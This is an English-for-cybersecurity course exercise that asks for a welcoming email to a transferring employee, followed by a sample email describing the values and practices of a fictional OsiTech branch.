INGLÉS PARA LA CIBERSEGURIDAD

CASO PRÁCTICO

Your boss has asked you to write an email to one employee who works for the same company you do but in a different country.

They are considering a transfer to your location and your boss would like you to write a welcoming email explaining how you do things in your branch, what they may expect and how they will benefit from this experience.

Write your email in 150 words in an appropriate style.

Subject: Welcome to OsiTech!

Dear Richard,

I hope this message finds you well. I am delighted to extend a

warm welcome to you at OsiTech's Branch, located at 125 Paseo de la

Castellana, Techville. It is a significant step and an exciting opportunity

for both you and our team.

To help you feel more comfortable and prepared for your new

location, I would like to share some of the key practices and values we

uphold at our branch:

At OsiTech's Branch Techville, we value collaboration and

teamwork. We strive to create an environment where all team

members feel heard and supported. We encourage creativity and

innovation, always looking for new ways to enhance our processes and

services.

We are committed to supporting your professional growth,

offering development opportunities and training. We celebrate

diversity and promote an inclusive culture, respecting diverse

perspectives. We aim for excellence in everything we do, delivering

outstanding results to clients.
